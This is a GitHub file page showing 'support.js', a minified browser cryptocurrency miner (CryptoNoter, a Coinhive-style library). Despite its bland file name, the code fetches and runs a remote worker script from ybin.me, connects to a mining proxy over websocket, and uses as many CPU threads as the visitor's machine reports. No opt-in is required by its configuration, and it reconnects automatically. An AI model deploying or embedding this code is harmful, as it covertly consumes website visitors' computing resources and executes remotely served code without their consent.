-
Notifications
You must be signed in to change notification settings - Fork 4
/
support.js
1 lines (1 loc) · 10.3 KB
/
support.js
1
!function(t){"use strict";var e=function(e,s){if(s=s||{},this._siteKey=e,this._user=null,this._threads=[],this._hashes=0,this._currentJob=null,this._autoReconnect=!0,this._reconnectRetry=3,this._tokenFromServer=null,this._goal=0,this._totalHashesFromDeadThreads=0,this._throttle=Math.max(0,Math.min(.99,s.throttle||0)),this._autoThreads={enabled:!!s.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}},this._tab={ident:16777215*Math.random()|0,mode:CryptoNoter.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null},t.BroadcastChannel)try{this._bc=new BroadcastChannel("CryptoNoter"),this._bc.onmessage=function(t){"ping"===t.data&&(this._tab.lastPingReceived=Date.now())}.bind(this)}catch(t){}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};var r=navigator.hardwareConcurrency||4;this._targetNumThreads=s.threads||r,this._useWASM=this.hasWASMSupport()&&!s.forceASMJS,this._asmjsStatus="unloaded",this._onTargetMetBound=this._onTargetMet.bind(this),this._onVerifiedBound=this._onVerified.bind(this)};e.prototype.start=function(e){if(this._tab.mode=e||CryptoNoter.IF_EXCLUSIVE_TAB,this._tab.interval&&(clearInterval(this._tab.interval),this._tab.interval=null),this._useWASM||"loaded"===this._asmjsStatus)(s=new XMLHttpRequest).addEventListener("load",function(){CryptoNoter.CRYPTONIGHT_WORKER_BLOB=t.URL.createObjectURL(new Blob([s.responseText])),this._asmjsStatus="loaded",this._startNow()}.bind(this),s),s.open("get","https://ybin.me/worker.js",!0),s.send();else if("unloaded"===this._asmjsStatus){this._asmjsStatus="pending";var s=new XMLHttpRequest;s.addEventListener("load",function(){CryptoNoter.CRYPTONIGHT_WORKER_BLOB=t.URL.createObjectURL(new Blob([s.responseText])),this._asmjsStatus="loaded",this._startNow()}.bind(this),s),s.open("get",CryptoNoter.CONFIG.LIB_URL+"cryptonoter-asmjs.min.js",!0),s.send()}},e.prototype.stop=function(t){for(var e=0;e<this._threads.length;e++)this._totalHashesFromDeadThreads+=this._threads[e].hashesTotal,this._threads[e].stop();this._threads=[],this._autoReconnect=!1,this._socket&&this._socket.close(),this._currentJob=null,this._autoThreads.interval&&(clearInterval(this._autoThreads.interval),this._autoThreads.interval=null),this._tab.interval&&"dontKillTabUpdate"!==t&&(clearInterval(this._tab.interval),this._tab.interval=null)},e.prototype.getHashesPerSecond=function(){for(var t=0,e=0;e<this._threads.length;e++)t+=this._threads[e].hashesPerSecond;return t},e.prototype.getTotalHashes=function(t){for(var e=Date.now(),s=this._totalHashesFromDeadThreads,r=0;r<this._threads.length;r++){var o=this._threads[r];s+=o.hashesTotal,t&&(s+=(e-o.lastMessageTimestamp)/1e3*.9*o.hashesPerSecond)}return 0|s},e.prototype.getAcceptedHashes=function(){return this._hashes},e.prototype.getToken=function(){return this._tokenFromServer},e.prototype.on=function(t,e){this._eventListeners[t]&&this._eventListeners[t].push(e)},e.prototype.getAutoThreadsEnabled=function(t){return this._autoThreads.enabled},e.prototype.setAutoThreadsEnabled=function(t){this._autoThreads.enabled=!!t,!t&&this._autoThreads.interval&&(clearInterval(this._autoThreads.interval),this._autoThreads.interval=null),t&&!this._autoThreads.interval&&(this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery,this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3))},e.prototype.getThrottle=function(){return this._throttle},e.prototype.setThrottle=function(t){this._throttle=Math.max(0,Math.min(.99,t)),this._currentJob&&this._setJob(this._currentJob)},e.prototype.getNumThreads=function(){return this._targetNumThreads},e.prototype.setNumThreads=function(t){var t=Math.max(1,0|t);if(this._targetNumThreads=t,t>this._threads.length)for(var e=0;t>this._threads.length;e++){s=new CryptoNoter.JobThread;this._currentJob&&s.setJob(this._currentJob,this._onTargetMetBound),this._threads.push(s)}else if(t<this._threads.length)for(;t<this._threads.length;){var s=this._threads.pop();this._totalHashesFromDeadThreads+=s.hashesTotal,s.stop()}},e.prototype.hasWASMSupport=function(){return void 0!==t.WebAssembly},e.prototype.isRunning=function(){return this._threads.length>0},e.prototype._startNow=function(){this._tab.mode===CryptoNoter.FORCE_MULTI_TAB||this._tab.interval||(this._tab.interval=setInterval(this._updateTabs.bind(this),1e3)),this._tab.mode===CryptoNoter.IF_EXCLUSIVE_TAB&&this._otherTabRunning()||(this._tab.mode===CryptoNoter.FORCE_EXCLUSIVE_TAB&&(this._tab.grace=Date.now()+3e3),this.verifyThread||(this.verifyThread=new CryptoNoter.JobThread),this.setNumThreads(this._targetNumThreads),this._autoReconnect=!0,CryptoNoter.CONFIG.REQUIRES_AUTH?(this._auth=this._auth||new CryptoNoter.Auth(this._siteKey),this._auth.auth(function(t){if(!t)return this._emit("error",{error:"opt_in_canceled"});this._optInToken=t,this._connect()}.bind(this))):this._connect())},e.prototype._otherTabRunning=function(){if(this._tab.lastPingReceived>Date.now()-1500)return!0;try{var t=localStorage.getItem("CryptoNoter");if(t){var e=JSON.parse(t);if(e.ident!==this._tab.ident&&Date.now()-e.time<1500)return!0}}catch(t){}return!1},e.prototype._updateTabs=function(){var t=this._otherTabRunning();if(t&&this.isRunning()&&Date.now()>this._tab.grace?this.stop("dontKillTabUpdate"):t||this.isRunning()||this._startNow(),this.isRunning()){this._bc&&this._bc.postMessage("ping");try{localStorage.setItem("CryptoNoter",JSON.stringify({ident:this._tab.ident,time:Date.now()}))}catch(t){}}},e.prototype._adjustThreads=function(){var t=this.getHashesPerSecond(),e=this.getNumThreads(),s=this._autoThreads.stats;if(s[e]=s[e]?.5*s[e]+.5*t:t,Date.now()>this._autoThreads.adjustAt){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;var r=(s[e]||0)-1,o=s[e+1]||0,i=s[e-1]||0;if(r>i&&(0===o||o>r)&&e<8)return this.setNumThreads(e+1);if(r>o&&(!i||i>r)&&e>1)return this.setNumThreads(e-1)}},e.prototype._emit=function(t,e){var s=this._eventListeners[t];if(s&&s.length)for(var r=0;r<s.length;r++)s[r](e)},e.prototype._hashString=function(t){for(var e=5381,s=t.length;s;)e=33*e^t.charCodeAt(--s);return e>>>0},e.prototype._connect=function(){if(!this._socket){var t=CryptoNoter.CONFIG.WEBSOCKET_SHARDS,e=t[this._hashString(this._siteKey)%t.length],s=e[Math.random()*e.length|0];this._socket=new WebSocket(s),this._socket.onmessage=this._onMessage.bind(this),this._socket.onerror=this._onError.bind(this),this._socket.onclose=this._onClose.bind(this),this._socket.onopen=this._onOpen.bind(this)}},e.prototype._onOpen=function(t){this._emit("open");var e={site_key:this._siteKey,type:"anonymous",user:null,goal:0};this._user?(e.type="user",e.user=this._user.toString()):this._goal&&(e.type="token",e.goal=this._goal),this._optInToken&&(e.opt_in=this._optInToken),this._send("auth",e)},e.prototype._onError=function(t){this._emit("error",{error:"connection_error"}),this._onClose(t)},e.prototype._onClose=function(t){t.code>=1003&&t.code<=1009&&(this._reconnectRetry=60);for(var e=0;e<this._threads.length;e++)this._threads[e].stop();this._threads=[],this._socket=null,this._emit("close"),this._autoReconnect&&setTimeout(this._startNow.bind(this),1e3*this._reconnectRetry)},e.prototype._onMessage=function(t){var e=JSON.parse(t.data);"job"===e.type?(this._setJob(e.params),this._emit("job",e.params),this._autoThreads.enabled&&!this._autoThreads.interval&&(this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery,this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3))):"verify"===e.type?this.verifyThread.verify(e.params,this._onVerifiedBound):"hash_accepted"===e.type?(this._hashes=e.params.hashes,this._emit("accepted",e.params),this._goal&&this._hashes>=this._goal&&this.stop()):"authed"===e.type?(this._tokenFromServer=e.params.token||null,this._hashes=e.params.hashes||0,this._emit("authed",e.params),this._reconnectRetry=3):"error"===e.type?(console&&console.error&&console.error("CryptoNoter Error:",e.params.error),this._emit("error",e.params),"invalid_site_key"===e.params.error?this._reconnectRetry=6e3:"invalid_opt_in"===e.params.error&&this._auth&&this._auth.reset()):("banned"===e.type||e.params.banned)&&(this._emit("error",{banned:!0}),this._reconnectRetry=600)},e.prototype._setJob=function(t){this._currentJob=t,this._currentJob.throttle=this._throttle;for(var e=0;e<this._threads.length;e++)this._threads[e].setJob(t,this._onTargetMetBound)},e.prototype._onTargetMet=function(t){this._emit("found",t),t.job_id===this._currentJob.job_id&&this._send("submit",{job_id:t.job_id,nonce:t.nonce,result:t.result})},e.prototype._onVerified=function(t){this._send("verified",t)},e.prototype._send=function(t,e){if(this._socket){var s={type:t,params:e||{}};this._socket.send(JSON.stringify(s))}},t.CryptoNoter=t.CryptoNoter||{},t.CryptoNoter.IF_EXCLUSIVE_TAB="ifExclusiveTab",t.CryptoNoter.FORCE_EXCLUSIVE_TAB="forceExclusiveTab",t.CryptoNoter.FORCE_MULTI_TAB="forceMultiTab",t.CryptoNoter.Token=function(t,s,r){var o=new e(t,r);return o._goal=s||0,o},t.CryptoNoter.User=function(t,s,r){var o=new e(t,r);return o._user=s,o},t.CryptoNoter.Anonymous=function(t,s){return new e(t,s)}}(window),function(t){"use strict";var e=function(){this.worker=new Worker(CryptoNoter.CRYPTONIGHT_WORKER_BLOB),this.worker.onmessage=this.onReady.bind(this),this.currentJob=null,this.jobCallback=function(){},this.verifyCallback=function(){},this._isReady=!1,this.hashesPerSecond=0,this.hashesTotal=0,this.running=!1,this.lastMessageTimestamp=Date.now()};e.prototype.onReady=function(t){if("ready"!==t.data||this._isReady)throw'Expecting first message to be "ready", got '+t;this._isReady=!0,this.worker.onmessage=this.onReceiveMsg.bind(this),this.currentJob&&(this.running=!0,this.worker.postMessage(this.currentJob))},e.prototype.onReceiveMsg=function(t){t.data.verify_id?this.verifyCallback(t.data):(t.data.result&&this.jobCallback(t.data),this.hashesPerSecond=.5*this.hashesPerSecond+.5*t.data.hashesPerSecond,this.hashesTotal+=t.data.hashes,this.lastMessageTimestamp=Date.now(),this.running&&this.worker.postMessage(this.currentJob))},e.prototype.setJob=function(t,e){this.currentJob=t,this.jobCallback=e,this._isReady&&!this.running&&(this.running=!0,this.worker.postMessage(this.currentJob))},e.prototype.verify=function(t,e){this._isReady&&(this.verifyCallback=e,this.worker.postMessage(t))},e.prototype.stop=function(){this.worker&&(this.worker.terminate(),this.worker=null),this.running=!1},t.CryptoNoter.JobThread=e}(window),self.CryptoNoter=self.CryptoNoter||{},self.CryptoNoter.CONFIG={LIB_URL:"https://ybin.me/lib/",WEBSOCKET_SHARDS:[["wss://ybin.me/proxy"]]};